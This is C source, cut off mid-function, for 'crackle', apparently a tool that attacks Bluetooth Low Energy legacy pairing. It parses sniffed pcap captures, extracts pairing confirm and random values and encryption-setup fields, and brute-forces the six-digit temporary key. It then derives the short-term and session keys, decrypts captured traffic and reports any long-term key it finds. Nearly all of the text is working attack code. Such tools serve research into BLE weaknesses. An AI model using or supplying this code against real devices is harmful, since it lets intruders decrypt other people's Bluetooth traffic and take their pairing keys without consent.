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crackle.c
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crackle.c
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#include <assert.h>
#include <ctype.h>
#include <err.h>
#include <getopt.h>
#include <stdint.h>
#include <string.h>
#include <sys/param.h>
#ifdef BSD
#ifdef __APPLE__
# include <libkern/OSByteOrder.h>
# define htobe16(x) OSSwapHostToBigInt16(x)
# define htole16(x) OSSwapHostToLittleInt16(x)
# define be16toh(x) OSSwapBigToHostInt16(x)
# define le16toh(x) OSSwapLittleToHostInt16(x)
# define htobe32(x) OSSwapHostToBigInt32(x)
# define htole32(x) OSSwapHostToLittleInt32(x)
# define be32toh(x) OSSwapBigToHostInt32(x)
# define le32toh(x) OSSwapLittleToHostInt32(x)
# define htobe64(x) OSSwapHostToBigInt64(x)
# define htole64(x) OSSwapHostToLittleInt64(x)
# define be64toh(x) OSSwapBigToHostInt64(x)
# define le64toh(x) OSSwapLittleToHostInt64(x)
# define __BYTE_ORDER BYTE_ORDER
# define __BIG_ENDIAN BIG_ENDIAN
# define __LITTLE_ENDIAN LITTLE_ENDIAN
# define __PDP_ENDIAN PDP_ENDIAN
#else
# include <sys/endian.h> // needed for byte swapping
#endif
#endif
#include "aes.h"
#include "crackle.h"
#define PFH_BTLE (30006)
#define BLUETOOTH_LE_LL_WITH_PHDR 256
#define NORDIC_BLE_SNIFFER_META 157
#define NORDIC_BLE 272
#define PPI 192
// CACE PPI headers
typedef struct ppi_packetheader {
uint8_t pph_version;
uint8_t pph_flags;
uint16_t pph_len;
uint32_t pph_dlt;
} __attribute__((packed)) ppi_packet_header_t;
typedef struct ppi_fieldheader {
u_int16_t pfh_type; /* Type */
u_int16_t pfh_datalen; /* Length of data */
} ppi_fieldheader_t;
typedef struct ppi_btle {
uint8_t btle_version; // 0 for now
uint16_t btle_channel;
uint8_t btle_clkn_high;
uint32_t btle_clk100ns;
int8_t rssi_max;
int8_t rssi_min;
int8_t rssi_avg;
uint8_t rssi_count;
} __attribute__((packed)) ppi_btle_t;
typedef struct _pcap_bluetooth_le_ll_header {
uint8_t rf_channel;
int8_t signal_power;
int8_t noise_power;
uint8_t access_address_offenses;
uint32_t ref_access_address;
uint16_t flags;
uint8_t le_packet[0];
} __attribute__((packed)) pcap_bluetooth_le_ll_header;
typedef struct _pcap_nordic_ble_sniffer_meta {
uint32_t board;
uint32_t uart_packets_count;
uint8_t flags;
uint8_t channel;
int8_t rssi;
uint16_t event_counter;
uint32_t delta_time;
} __attribute__((packed)) pacp_nordic_ble_sniffer_meta_t;
/* misc definitions */
void run_tests(void);
// connection state handling
connection_state_t *new_connection_state(crackle_state_t *state);
void free_connection_state(crackle_state_t *state);
uint8_t read_8(const u_char *bytes) {
return *bytes;
}
uint16_t read_16(const u_char *bytes) {
uint16_t r = *(uint16_t *)bytes;
return le16toh(r);
}
uint32_t read_32(const u_char *bytes) {
uint32_t r = *(uint32_t *)bytes;
return le32toh(r);
}
void read_48(const u_char *bytes, uint8_t *dest) {
int i;
for (i = 0; i < 6; ++i)
dest[i] = bytes[5-i];
}
void print_48(uint8_t *val) {
int i;
for (i = 0; i < 5; ++i)
printf("%02x:", val[i]);
printf("%02x", val[5]);
}
void dump_blob(uint8_t *data, size_t len) {
unsigned i;
for (i = 0; i < len; ++i) printf(" %02x", data[i]);
printf("\n");
}
void copy_reverse(const u_char *bytes, uint8_t *dest, size_t len) {
unsigned i;
for (i = 0; i < len; ++i)
dest[i] = bytes[len - 1 - i];
}
static void add_encrypted_packet(connection_state_t *conn, unsigned pcap_idx,
uint8_t flags, const uint8_t *data, size_t data_len) {
unsigned current_packet;
encrypted_packet_t *packet;
if (conn->packets == NULL) {
conn->packets = malloc(sizeof(encrypted_packet_t) * 4);
conn->packets_size = 4;
memset(conn->packets, 0, sizeof(encrypted_packet_t) * 4);
}
current_packet = conn->num_packets++;
if (current_packet >= conn->packets_size) {
conn->packets_size *= 2;
conn->packets = realloc(conn->packets,
sizeof(encrypted_packet_t) * conn->packets_size);
memset(conn->packets + current_packet, 0,
sizeof(encrypted_packet_t) * (conn->packets_size - current_packet));
}
packet = &conn->packets[current_packet];
packet->pcap_idx = pcap_idx;
packet->flags = flags;
packet->enc_data = malloc(data_len);
memcpy(packet->enc_data, data, data_len);
packet->enc_data_len = data_len;
}
/*
* PCAP handler for stuffing data into the master state. This will allocate
* connections, grab the pairing packets, and make a copy of all encrypted
* packets it sees.
*/
static void enc_data_extractor(crackle_state_t *crackle_state,
const struct pcap_pkthdr *h,
const u_char *bytes,
off_t offset,
size_t len) {
const uint32_t adv_aa = 0x8e89bed6;
uint32_t aa;
unsigned pcap_idx;
connection_state_t *state = NULL;
assert(crackle_state != NULL);
assert(offset < len);
pcap_idx = crackle_state->pcap_idx++;
// grab the last connection
state = &crackle_state->conn[crackle_state->current_conn];
bytes += offset;
len -= offset;
// short packet, must have at least AA + flags + ll len
if (len < 6)
return;
aa = read_32(bytes);
if (aa == adv_aa) {
uint8_t flags = read_8(bytes + 4);
uint16_t lllen = read_8(bytes + 5) & 0x3f;
// ensure capture is at least as large as LL len + AA + header + CRC
if (len < lllen + 6 + 3)
return;
// connect packet, grab those addresses!
if ((flags & 0xf) == 5) {
// another short packet
if (lllen != 34)
return;
if (state->connect_found)
// allocate a new connection
state = new_connection_state(crackle_state);
state->connect_found = 1;
state->aa = read_32(bytes + 18);
read_48(bytes + 6, state->ia);
read_48(bytes + 12, state->ra);
state->iat = (flags & 0x40) ? 1 : 0;
state->rat = (flags & 0x80) ? 1 : 0;
}
}
// data packet
else {
uint8_t flags = read_8(bytes + 4);
uint8_t lllen = read_8(bytes + 5);
// ensure capture is at least as large as LL len + AA + header + CRC
if (len < lllen + 6 + 3)
return;
// encrypted data: copy into state data structure
if (state->start_enc_req_found) {
if (lllen > 0 && lllen < 5)
printf("Warning: packet is too short to be encrypted (%u), "
"skipping\n", lllen);
if (lllen >= 5)
add_encrypted_packet(state, pcap_idx, flags, bytes + 6, lllen);
}
// unencrypted data, grab the relevant headers
else {
if ((flags & 0x3) == 2) {
uint16_t l2len;
uint16_t cid;
// must be at least long enough for L2CAP header
if (lllen < 4)
return;
l2len = read_16(bytes + 6);
cid = read_16(bytes + 8);
// Bluetooth Security Manager
if (cid == 6) {
uint8_t command;
if (len < 11)
return;
command = read_8(bytes + 10);
// pairing request, copy it
if (command == 0x1) {
if (state->preq_found)
printf("Warning: found multiple pairing requests, only using the latest one\n");
if (l2len != 7) {
printf("Warning: pairing request is wrong length (%u), skipping\n", l2len);
return;
}
copy_reverse(bytes + 10, state->preq, 7);
state->preq_found = 1;
}
// pairing response, copy it
else if (command == 0x2) {
if (state->pres_found)
printf("Warning: found multiple pairing responses, only using the latest one\n");
if (l2len != 7) {
printf("Warning: pairing response is wrong length (%u), skipping\n", l2len);
return;
}
copy_reverse(bytes + 10, state->pres, 7);
state->pres_found = 1;
}
// pairing confirm, copy the confirm value
else if (command == 0x3) {
uint8_t confirm[16];
if (l2len != 17) {
printf("Warning: confirm is wrong length (%u), skipping\n", l2len);
return;
}
copy_reverse(bytes + 11, confirm, 16);
// detect retransmissions
if (state->confirm_found == 1 && memcmp(state->mconfirm, confirm, 16) == 0) {
printf("Warning: duplicate confirm found, skipping\n");
return;
}
if (state->confirm_found >= 2) {
printf("Warning: already saw two confirm values, skipping\n");
return;
}
uint8_t *dest = state->confirm_found == 0 ? state->mconfirm : state->sconfirm;
memcpy(dest, confirm, 16);
++state->confirm_found;
}
// pairing random, copy the random value
else if (command == 0x4) {
uint8_t rand[16];
if (l2len != 17) {
printf("Warning: random is wrong length (%u), skipping\n", l2len);
return;
}
copy_reverse(bytes + 11, rand, 16);
// detect retransmissions
if (state->random_found == 1 && memcmp(state->mrand, rand, 16) == 0) {
printf("Warning: duplicate random found, skipping\n");
return;
}
if (state->random_found >= 2) {
printf("Warning: already saw two random values, skipping\n");
return;
}
uint8_t *dest = state->random_found == 0 ? state->mrand : state->srand;
memcpy(dest, rand, 16);
++state->random_found;
}
// pairing public key -- LE Secure Connections
else if (command == 0xc) {
state->pairing_public_key_found = 1;
// TODO - maybe in future, copy this out and check for
// use of debug key
// (refer to 4.2 Vol 3 Part H Sec 2.3.5.6.1)
}
// pairing DHkey check -- LE Secure Connections
else if (command == 0xd) {
state->pairing_dhkey_check_found = 1;
}
}
}
// LL Control PDU
else if ((flags & 3) == 3) {
uint8_t opcode;
if (len < 7)
return;
opcode = read_8(bytes + 6);
// LL_ENC_REQ
if (opcode == 0x3) {
if (state->enc_req_found)
printf("Warning: found multiple LL_ENC_REQ, only using latest one\n");
if (lllen != 23) {
printf("Warning: LL_ENC_REQ is wrong length (%u), skipping\n", lllen);
return;
}
copy_reverse(bytes + 7, state->rand, 8);
copy_reverse(bytes + 15, state->ediv, 2);
copy_reverse(bytes + 17, state->skdm, 8);
copy_reverse(bytes + 25, state->ivm, 4);
state->enc_req_found = 1;
}
// LL_ENC_RSP
else if (opcode == 0x4) {
if (state->enc_rsp_found)
printf("Warning: found multiple LL_ENC_RSP, only using latest one\n");
if (lllen != 13) {
printf("Warning: LL_ENC_RSP is wrong length (%u), skipping\n", lllen);
return;
}
copy_reverse(bytes + 7, state->skds, 8);
copy_reverse(bytes + 15, state->ivs, 4);
state->enc_rsp_found = 1;
}
// LL_START_ENC_REQ
else if (opcode == 0x5) {
state->start_enc_req_found = 1;
}
}
}
}
}
/*
* PCAP packet handler for copying decrypted data out to a PCAP file. Be sure to
* preprocess the encrypted data using preprocess_decrypted before calling this
* function. If this is called when there are no decrypted packets to dump, some
* assertions will fail, so don't do that.
*/
static void packet_decrypter(crackle_state_t *state,
const struct pcap_pkthdr *h,
const u_char *bytes_in,
off_t offset,
size_t len_in) {
unsigned pcap_idx;
encrypted_packet_t *packet = NULL;
uint8_t *write_data = NULL;
struct pcap_pkthdr wh = *h; // copy from input
assert(state != NULL);
assert(state->all_decrypted != NULL);
assert(state->dec_idx <= state->total_decrypted);
pcap_idx = state->pcap_idx++;
if (state->dec_idx < state->total_decrypted)
packet = &state->all_decrypted[state->dec_idx];
if (packet && pcap_idx > packet->pcap_idx) {
printf("Bug in decrypter, please report!\n");
abort();
}
// decrypted packet encountered, write that out
if (packet && pcap_idx == packet->pcap_idx) {
size_t new_len = packet->dec_data_len;
assert(packet->dec_data != NULL && new_len > 0 && new_len < 256);
assert(wh.len == offset + 6 + new_len + 4 + 3);
++state->dec_idx;
write_data = malloc(wh.len - 3);
memcpy(write_data, bytes_in, offset + 6); // pull all headers
// set CRC to 000000 -- FIXME recalculate this value
memset(write_data + offset + 6 + new_len, 0, 3);
// copy in decrypted data
memcpy(write_data + offset + 6, packet->dec_data, new_len);
write_data[offset + 5] = new_len; // adjust LL header length
// remove MIC length from packet
wh.len -= 4;
wh.caplen -= 4;
pcap_dump((unsigned char *)state->dumper, &wh, write_data);
free(write_data);
}
// copy data straight across otherwise
else {
pcap_dump((unsigned char *)state->dumper, &wh, bytes_in);
}
++state->total_processed;
}
void packet_handler_ble_phdr(u_char *user, const struct pcap_pkthdr *h, const u_char *bytes) {
crackle_state_t *state;
state = (crackle_state_t *)user;
size_t header_len = sizeof(pcap_bluetooth_le_ll_header);
state->btle_handler(state, h, bytes, header_len, h->caplen);
}
void packet_handler_ppi(u_char *user, const struct pcap_pkthdr *h, const u_char *bytes) {
crackle_state_t *state;
size_t header_len;
ppi_packet_header_t *ppih;
ppi_fieldheader_t *ppifh;
ppi_btle_t *ppib;
assert(user != NULL);
state = (crackle_state_t *)user;
// sanity checks below!
header_len = sizeof(*ppih) + sizeof(*ppifh) + sizeof(*ppib);
if (h->caplen < header_len) {
printf("caplen %u, header_len %zu\n", h->caplen, header_len);
printf("Warning: short packet, skipping\n");
return;
}
ppih = (ppi_packet_header_t *)bytes;
if (ppih->pph_dlt != DLT_USER0 && ppih->pph_dlt != DLT_BLUETOOTH_LE_LL) {
printf("Warning: unknown packet type encountered, skipping\n");
return;
}
ppifh = (ppi_fieldheader_t *)(bytes + sizeof(*ppih));
if (ppifh->pfh_type != PFH_BTLE) {
printf("Warning: BTLE DLT found, but it doesn't have a BTLE header\n");
return;
}
if (ppifh->pfh_datalen != sizeof(*ppib)) {
printf("Warning: BTLE DLT with BTLE header, but header length is wrong\n");
return;
}
ppib = (ppi_btle_t *)(bytes + sizeof(*ppih) + sizeof(*ppifh));
// whew, now that we've got all that out of the way onto the parsing
state->btle_handler(state, h, bytes, header_len, h->caplen);
}
void packet_handler_nordic(u_char *user, const struct pcap_pkthdr *h, const u_char *bytes) {
crackle_state_t *state;
state = (crackle_state_t *)user;
size_t header_len = sizeof(pacp_nordic_ble_sniffer_meta_t);
state->btle_handler(state, h, bytes, header_len, h->caplen);
}
/*
* Do AES on the 16 byte block of data.
*/
void aes_block(uint8_t *key, uint8_t *data, uint8_t *out) {
void *aes_ctx = aes_encrypt_init(key, 16);
aes_encrypt(aes_ctx, data, out);
aes_encrypt_deinit(aes_ctx);
}
/*
* Calculate the confirm according to the core spec.
*
* master: true if you want to calculate the master's confirm, false for slave's
* numeric_key: value between 0 and 999,999 (use 0 for Just Works)
* out: 16 byte buffer for storing the output
*/
void calc_confirm(connection_state_t *state, int master, uint32_t numeric_key, uint8_t *out) {
int i;
uint8_t p1[16] = { 0, };
uint8_t p2[16] = { 0, };
uint8_t key[16] = { 0, };
uint8_t *rand = master ? state->mrand : state->srand;
numeric_key = htobe32(numeric_key);
memcpy(&key[12], &numeric_key, 4);
// p1 = pres || preq || rat || iat
memcpy(p1 + 0, state->pres, 7);
memcpy(p1 + 7, state->preq, 7);
p1[14] = state->rat;
p1[15] = state->iat;
// p2 = padding || ia || ra
memcpy(p2 + 4, state->ia, 6);
memcpy(p2 + 10, state->ra, 6);
for (i = 0; i < 16; ++i)
p1[i] ^= rand[i];
aes_block(key, p1, out);
for (i = 0; i < 16; ++i)
p1[i] = out[i] ^ p2[i];
aes_block(key, p1, out);
}
void calc_stk(connection_state_t *state, uint32_t numeric_key) {
uint8_t rand[16];
assert(state != NULL);
// calculate TK
numeric_key = htobe32(numeric_key);
memcpy(&state->tk[12], &numeric_key, 4);
// STK = s1(TK, Srand, Mrand) [pg 1971]
// concatenate the lower 8 octets of Srand and MRand
memcpy(rand + 0, state->srand + 8, 8);
memcpy(rand + 8, state->mrand + 8, 8);
aes_block(state->tk, rand, state->stk);
}
void calc_session_key(connection_state_t *state) {
uint8_t skd[16];
assert(state != NULL);
// SKD = SKDm || SKDs [pg 2247]
memcpy(skd + 0, state->skds, 8);
memcpy(skd + 8, state->skdm, 8);
// sesion key = e(STK, SKD)
aes_block(state->stk, skd, state->session_key);
}
void calc_iv(connection_state_t *state) {
assert(state != NULL);
copy_reverse(state->ivm, state->iv + 0, 4);
copy_reverse(state->ivs, state->iv + 4, 4);
}
void dump_state(crackle_state_t *state) {
int i, count = 0;
connection_state_t *conn;
assert(state != NULL);
for (count = 0; count <= state->current_conn; ++count) {
conn = &state->conn[count];
printf("Connection %d\n", count);
printf(" connect_found: %d\n", conn->connect_found);
printf(" preq_found: %d\n", conn->preq_found);
printf(" pres_found: %d\n", conn->pres_found);
printf(" confirm_found: %d\n", conn->confirm_found);
printf(" random_found: %d\n", conn->random_found);
printf(" enc_req_found: %d\n", conn->enc_req_found);
printf(" enc_rsp_found: %d\n", conn->enc_rsp_found);
printf(" pairing_public_key_found: %d\n", conn->pairing_public_key_found);
printf(" pairing_dhkey_check_found: %d\n", conn->pairing_dhkey_check_found);
if (conn->connect_found) {
printf(" AA: %08x\n", conn->aa);
printf(" IA: ");
print_48(conn->ia);
printf("\n RA: ");
print_48(conn->ra);
printf("\n IAt: %d\n", conn->iat);
printf(" RAt: %d\n", conn->rat);
}
if (conn->preq_found) {
printf(" PREQ:");
dump_blob(conn->preq, 7);
}
if (conn->pres_found) {
printf(" PRES:");
dump_blob(conn->pres, 7);
}
for (i = 0; i < conn->confirm_found; ++i) {
printf(" %cCONFIRM:", i == 0 ? 'M' : 'S');
dump_blob(i == 0 ? conn->mconfirm : conn->sconfirm, 16);
}
for (i = 0; i < conn->random_found; ++i) {
printf(" %cRAND:", i == 0 ? 'M' : 'S');
dump_blob(i == 0 ? conn->mrand : conn->srand, 16);
}
if (conn->enc_req_found) {
printf(" Rand:");
dump_blob(conn->rand, 8);
printf(" EDIV:");
dump_blob(conn->ediv, 2);
printf(" SKDm:");
dump_blob(conn->skdm, 8);
printf(" IVm: ");
dump_blob(conn->ivm, 4);
}
if (conn->enc_rsp_found) {
printf(" SKDs:");
dump_blob(conn->skds, 8);
printf(" IVs: ");
dump_blob(conn->ivs, 4);
}
}
}
// get a new connection state
// allocates space if necessary and zeros any new allocation
connection_state_t *new_connection_state(crackle_state_t *state) {
assert(state != NULL);
// initial call: allocate four and return
if (state->total_conn == 0) {
assert(state->current_conn == 0);
assert(state->conn == NULL);
state->total_conn = 4;
state->conn = malloc(sizeof(connection_state_t) * state->total_conn);
memset(state->conn, 0, sizeof(connection_state_t) * state->total_conn);
}
else {
state->current_conn += 1;
if (state->current_conn >= state->total_conn) {
state->total_conn *= 2;
state->conn = realloc(state->conn,
sizeof(connection_state_t) * state->total_conn);
memset(&state->conn[state->current_conn], 0,
sizeof(connection_state_t) *
(state->total_conn - state->current_conn));
}
}
return &state->conn[state->current_conn];
}
// free the array of connection states
void free_state(crackle_state_t *state) {
unsigned i, j;
connection_state_t *conn;
free(state->all_decrypted);
for (i = 0; i < state->total_conn; ++i) {
conn = &state->conn[i];
for (j = 0; j < conn->num_packets; ++j) {
free(conn->packets[j].enc_data);
free(conn->packets[j].dec_data);
}
free(conn->packets);
}
free(state->conn);
// apparently pcap_dump_close isn't smart enough to deal with NULL
if (state->dumper != NULL)
pcap_dump_close(state->dumper);
}
// analyzes if a connection can be cracked and returns strategy
// if strategy 0 or 1, bits of entropy is returned in *bits
// if cannot be cracked, returns -1 and stores error messages in errors
// max of 4 errors - see ANALYZE_MAX_ERRORS
//
// return values:
// -1 - cannot be cracked
// 0 - strategy 0, minimal 20 bit brute force
// 1 - strategy 1, 21 - 33 bits of brute force
// 2 - strategy 2, very slow brute force of STK
#define ANALYZE_MAX_ERRORS 4
int analyze_connection(connection_state_t *state, int *bits,
char **errors, int *num_errors) {
*num_errors = 0;
// pre-check for LE Secure Connections
if (state->pairing_public_key_found ||
state->pairing_dhkey_check_found) {
errors[(*num_errors)++] = "LE Secure Connections";
return -1;
}
// absolutely required:
// CONNECT_REQ
// Mrand and Srand
// LL_ENC_REQ
// LL_ENC_RSP
if (!state->connect_found)
errors[(*num_errors)++] = "CONNECT_REQ not found";
if (state->random_found == 0)
errors[(*num_errors)++] = "Missing both Mrand and Srand";
if (state->random_found == 1)
errors[(*num_errors)++] = "Missing one of Mrand and Srand";
if (!state->enc_req_found)
errors[(*num_errors)++] = "Missing LL_ENC_REQ";
if (!state->enc_rsp_found)
errors[(*num_errors)++] = "Missing LL_ENC_RSP";
// if we're missing any of those, give up
if (*num_errors > 0)
return -1;
// if we have zero confirms, we have to brute force STK
if (state->confirm_found == 0)
return 2;
// otherwise we're doing strategy 0 or 1, 20 - 33 bits of entropy
*bits = 20;
if (state->confirm_found == 1)
*bits += 1;
if (!state->preq_found)
*bits += 6;
if (!state->pres_found)
*bits += 6;
return *bits == 20 ? 0 : 1;
}
int crack_strategy0(connection_state_t *state);
int crack_strategy1(connection_state_t *state);
int crack_strategy2(connection_state_t *state, int verbose);
void decrypt(connection_state_t *state);
/*
* The workhorse: analye all the extracted data, and for each connection
* determine the appropriate cracking strategy. Actually attempt to crack the TK
* and decrypt data for any connection for which that is possible. Populates the
* connection_state_t data structure with decrypted packet data and metadata
* about how many packets were decrypted.
*/
void do_crack(crackle_state_t *state, int force_strategy) {
int i;
connection_state_t *conn;
int num_connections = state->current_conn + 1;
int tk = -1;
printf("Found %d connection%s\n", num_connections,
num_connections == 1 ? "" : "s");
for (i = 0; i <= state->current_conn; ++i) {
int strategy;
int bits = 0;
char *errors[ANALYZE_MAX_ERRORS] = { NULL, };
int num_errors = 0;
conn = &state->conn[i];
printf("\nAnalyzing connection %d:\n", i);
if (conn->connect_found) {
printf(" ");
print_48(conn->ia);
printf(" (%s) -> ", conn->iat == 0 ? "public" : "random");
print_48(conn->ra);
printf(" (%s)\n", conn->rat == 0 ? "public" : "random");
}
printf(" Found %d encrypted packet%s\n", conn->num_packets,
conn->num_packets == 1 ? "" : "s");
strategy = analyze_connection(conn, &bits, errors, &num_errors);
if (strategy < 0) {
int j;
printf(" Unable to crack due to the following error%s:\n",
num_errors == 1 ? "" : "s");
for (j = 0; j < num_errors; ++j)
printf(" %s\n", errors[j]);
continue;
}
// FIXME - use strategy 1 when it's implemented
if (strategy == 1)
strategy = 2;
// Override if told so
if (force_strategy >= 0)
strategy = force_strategy;
// we're definitely cracking
if (strategy == 0 || strategy == 1) {
printf(" Cracking with strategy %d, %d bits of entropy\n",
strategy, bits);
if (strategy == 0) {
tk = crack_strategy0(conn);
} else {
tk = crack_strategy1(conn);
}
}
// strategy 2 decrypts while discovering the TK
if (strategy == 2) {
printf(" Cracking with strategy 2, slow STK brute force\n");
tk = crack_strategy2(conn, state->verbose);
}
if (tk >= 0) {
int j;
printf("\n !!!\n");
printf(" TK found: %06d\n", tk);
if (tk == 0)
printf(" ding ding ding, using a TK of 0! Just Cracks(tm)\n");
printf(" !!!\n\n");
// see above: strategy 2 decrypts while discovering the TK, but
// strategies 1 and 2 do not. Thus we need to do the decrypting down
// here.
if (strategy == 0 || strategy == 1) {
calc_iv(conn);
calc_stk(conn, tk);
calc_session_key(conn);
if (state->verbose) {
printf(" STK: ");
for (j = 0; j < 16; ++j)
printf("%02x", conn->stk[j]);
printf("\n");
}
decrypt(conn);
}
printf(" Decrypted %u packet%s\n", conn->decrypted_packets,
conn->decrypted_packets == 1 ? "" : "s");
if (conn->ltk_found) {
printf(" LTK found: ");
for (j = 0; j < 16; ++j)
printf("%02x", conn->ltk[j]);
printf("\n");
}
state->total_decrypted += conn->decrypted_packets;
} else {
printf(" TK is not found. The connection could be using OOB pairing or something\n");
printf(" else fishy is going on. File a bug with more info about the devices.\n");
printf(" Sorry d00d :(\n");
}
}
}
/*
* Crack the TK using strategy 0: calculate master confirm for all
* possible TK values and compare to master confirm received over the
* air.
*
* Returns:
* -1: crack failed
* 0 - 999,999: the cracked TK
*/
int crack_strategy0(connection_state_t *state) {
int r = -1, tk_found = 0;
int numeric_key;
uint8_t confirm_mrand[16] = { 0, };
// crack TK by comparing the Confirm Pairing retrieved values with the confirm values
// computed with the confirm value generation function c1 (page 1962, BT 4.0 spec)
// brute force the TK, starting with 0 for Just Works
for (numeric_key = 0; numeric_key <= 999999; numeric_key++) {
calc_confirm(state, 1, numeric_key, confirm_mrand);
r = memcmp(state->mconfirm, confirm_mrand, 16) == 0;
// just in case the other confirm was master's
r |= memcmp(state->sconfirm, confirm_mrand, 16) == 0;
if (r) {
tk_found = 1;
break;
}
}
return tk_found ? numeric_key : -1;
}
/*
* TODO - implement this strategy
*
* If we have at least one confirm value (in addition to other required packets)
* we can brute force some of the missing packets. Missing packets add the
* following entropy to the brute force:
*
* Missing confirm: 1 bit
* Missing LL_ENC_REQ: 6 bits
* Missing LL_ENC_RSP: 6 bits
*
* This adds a max of 13 bits of entropy on top of the 20 bits for the TK
* itself. It remains to be seen if this is faster than brute forcing every
* possible STK (strategy 2).
*
* Returns:
* -1: crack failed
* 0 - 999,999: the cracked TK
*/
int crack_strategy1(connection_state_t *state) {
printf(" Warning: not yet implemented\n");
return -1;
}
/*
* Crack the TK by calculating all possible STK values and using those to
* attempt to decrypt data. This is considerably slower than brute forcing the
* TK using the key exchange data, but it's still feasible in reasonable time on
* a single core.
*
* TODO - parallelize this
*
* Returns:
* -1: crack filed
* 0 - 999,999: the cracked TK
*/
int crack_strategy2(connection_state_t *state, int verbose) {
int tk_found = 0, numeric_key;
int final_tk = 0;
calc_iv(state);
for (numeric_key = 0; numeric_key <= 999999; numeric_key++) {
if (tk_found) continue;
if (verbose && numeric_key % 1000 == 0)
printf(" Trying TK: %06d\n", numeric_key);
calc_stk(state, numeric_key);
calc_session_key(state);
decrypt(state);